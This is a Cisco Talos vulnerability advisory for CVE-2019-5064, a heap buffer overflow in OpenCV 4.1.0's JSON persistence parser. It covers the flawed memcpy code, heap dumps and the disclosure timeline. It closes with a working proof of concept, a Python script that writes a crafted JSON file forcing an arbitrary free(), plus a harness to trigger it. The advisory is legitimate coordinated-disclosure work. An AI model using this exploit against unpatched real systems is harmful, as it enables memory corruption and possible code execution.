Talos Vulnerability Report

TALOS-2019-0853

OpenCV JSON persistence parser buffer overflow vulnerability

January 2, 2020
CVE Number

CVE-2019-5064

Summary

An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV, version 4.1.0. A specially crafted JSON file can cause a buffer overflow, resulting in multiple heap corruptions and potentially code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

Tested Versions

OpenCV 4.1.0

Product URLs

[https://opencv.org/] (https://opencv.org/)
[https://github.com/opencv/opencv] (https://github.com/opencv/opencv)

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

OpenCV was originally developed in 1999 by Intel Research and is currently maintained by the non-profit organization OpenCV.org. OpenCV is used in a myriad of ways including facial recognition, robotics, motion tracking and various machine learning applications.

This particular vulnerability is present in the "persistence" mode of OpenCV which allows a developer to write and retrieve OpenCV data structures to/from a file on disk. The file type can be XML, YAML or JSON.

During parsing of a JSON file, when a null byte is encountered, the entire value up to that point is copied into a buffer. However, there isn't a check to determine whether the JSON value will overflow the destination buffer.

In persistence_json.cpp, we can see the definition of the buffer that will be overflowed which resides within a FileStorageParser class on the heap.

847     char buf[CV_FS_MAX_LEN+1024];

Where persistence.hpp defines CV_FS_MAX_LEN as:

44  #define CV_FS_MAX_LEN 4096

Therefore, our buffer size is 0x1400 (5120) bytes in length. The overflow occurs during the following parsing routine within persistence_json.cpp:

565                     switch ( *ptr )
566                     {
567                         case '\\':
568                         {
569                             sz = (int)(ptr - beg);
570                             if( sz > 0 )
571                             {
572                                 memcpy(buf + i, beg, sz);
573                                 i += sz;
574                             }
575                             ptr++;
576                             switch ( *ptr )
577                             {
578                             case '\\':
579                             case '\"':
580                             case '\'': { buf[i++] = *ptr; break; }
581                             case 'n' : { buf[i++] = '\n'; break; }
582                             case 'r' : { buf[i++] = '\r'; break; }
583                             case 't' : { buf[i++] = '\t'; break; }
584                             case 'b' : { buf[i++] = '\b'; break; }
585                             case 'f' : { buf[i++] = '\f'; break; }
586                             case 'u' : { CV_PARSE_ERROR_CPP( "'\\uXXXX' currently not supported" ); break; }
587                             default  : { CV_PARSE_ERROR_CPP( "Invalid escape character" ); }
588                             break;
589                             }
590                             ptr++;
591                             beg = ptr;
592                             break;
593                         }
594                         case '\0':
595                         {
596                             sz = (int)(ptr - beg);
597                             if( sz > 0 )
598                             {
599                                 memcpy(buf + i, beg, sz); [0]
600                                 i += sz;
601                             }
602                             ptr = fs->gets();
603                             if ( !ptr || !*ptr )
604                                 CV_PARSE_ERROR_CPP( "'\"' - right-quote of string is missing" );
605
606                             beg = ptr;
607                             break;
608                         }

The overflow occurs at line 599. It happens because the buffer is a fixed size, but the size for the memcpy is calculated as the size of the entire JSON value field (line 596) without checking if it extends beyond the target buffer.

Crash Information

We can see the vulnerable memcpy operation occur here:

0x417999    call   memcpy@plt <0x406470>
    dest: 0x91c380 ◂— 0x42 /* 'B' */
    src: 0x911dee ◂— 0x4242424242424242 ('BBBBBBBB')
    n: 0x1460

If the buffer size is only 5120 (0x1400) bytes and the memcpy size (the entire value of one of the json pairs) is 0x1460 bytes, it will cause an overflow into subsequent heap objects, leading to potential code execution.

The destination buffer is located within the 'FileStorageParser` object itself:

type = class cv::JSONParser : public cv::FileStorageParser {
  public:
    cv::FileStorage_API *fs;
    char buf[5120];

    JSONParser(cv::FileStorage_API *);
    virtual ~JSONParser(void);
    char * skipSpaces(char *);
    char * parseKey(char *, cv::FileNode &, cv::FileNode &);
    virtual bool getBase64Row(char *, int, char *&, char *&);
    char * parseValue(char *, cv::FileNode &);
    char * parseSeq(char *, cv::FileNode &);
    char * parseMap(char *, cv::FileNode &);
    virtual bool parse(char *);
} *

In this particular case, the heap object for this instance is located at 0x91c350. The buffer is located at 0x91c380.

 Heap chunk: 0x91c358 (malloc address)
 Heap chunk header: 0x91c350
              Size: 0x1430 (5168)
          Size+Hdr: 0x1440 (5184)
            Status: in USE
   Prev size field: 0x0 (0)
          Raw Size: 0x1431 (5169)
             Flags: PREV_INUSE

  000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
  000000000091c350: 00 00 00 00 00 00 00 00  31 14 00 00 00 00 00 00 ........1.......
  000000000091c360: c8 3d 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 .=..............
  000000000091c370: 18 3e 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .>......`.......
                                          ....
  000000000091d770: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
  000000000091d780: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......

The next object in the heap is located at 0x91d780 which is exactly 0x1400 (5120) bytes away:

Heap chunk: 0x91d788 (malloc address)
Heap chunk header: 0x91d780
             Size: 0x20 (32)
         Size+Hdr: 0x30 (48)
           Status: in USE
  Prev size field: 0x0 (0)
         Raw Size: 0x21 (33)
            Flags: PREV_INUSE

 000000000091d770: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
 000000000091d780: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
                                         ....
 000000000091d790: 00 00 00 00 00 00 00 00  10 e0 8f 00 00 00 00 00 ................
 000000000091d7a0: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......

Here are the objects after the memcpy() operation:

 Heap chunk: 0x91c358 (malloc address)
 Heap chunk header: 0x91c350
              Size: 0x1430 (5168)
          Size+Hdr: 0x1440 (5184)
            Status: is FREE
                FD: 0x8e3dc8
                BK: 0x100000001
   Prev size field: 0x0 (0)
          Raw Size: 0x1431 (5169)
             Flags: PREV_INUSE

  000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
  000000000091c350: 00 00 00 00 00 00 00 00  31 14 00 00 00 00 00 00 ........1.......
  000000000091c360: c8 3d 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 .=..............
  000000000091c370: 18 3e 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .>......`.......
                                          ....
  000000000091d770: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
  000000000091d780: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

The heap object at 0x91d780 has clearly been corrupted.

0x91d780:   0x4242424242424242  0x4242424242424242
0x91d790:   0x4242424242424242  0x4242424242424242
0x91d7a0:   0x4242424242424242  0x4242424242424242
0x91d7b0:   0x4242424242424242  0x4242424242424242
0x91d7c0:   0x4242424242424242  0x4242424242424242
0x91d7d0:   0x4242424242424242  0x4141414141414141

This specific variant of the attack will trigger an arbitrary free() if we continue to let it run.

Program received signal SIGSEGV, Segmentation fault.
__GI___libc_free (mem=0x4141414141414141) at malloc.c:3109
3109      p = mem2chunk (mem);

Exploit Proof of Concept

Generate a malicious JSON file:

#!/usr/bin/env python
from struct import pack
# Create 2 objects -- overflow using the second object's value
poc = b'{"A":"B","X":"'
# Overflow bytes
poc += b'B' * 0x1458
# Address that will be free'd
poc += pack('Q', 0x4141414141414141)
with open("poc.json", "wb") as f:
    f.write(poc)
f.close()

Compile the harness to load the file:

#include "opencv2/core.hpp"
/*
 * harness.cpp
 * g++ -I/usr/include/opencv4/ harness.cpp -o harness -l opencv_core
 */

int main(int argc, char** argv) {
    cv::FileStorage fs2(argv[1], cv::FileStorage::READ);
    fs2.release();
    return 0;
}

Execution:

$ ./harness poc.json
[1]    19146 segmentation fault (core dumped)  ./harness poc.json

Timeline

2019-07-22 - Initial contact
2019-07-30 - Plain text report issued
2019-10-02 - 60+ day follow up
2019-10-21 - 90 day follow up
2019-11-13 - Vendor confirmed fix planned for December 2019 release
2019-12-12 - Talos granted extension to public disclosure deadline
2019-12-19 - Vendor patched
2020-01-02 - Public Release

Credit

Discovered by Dave McDaniel of Cisco Talos.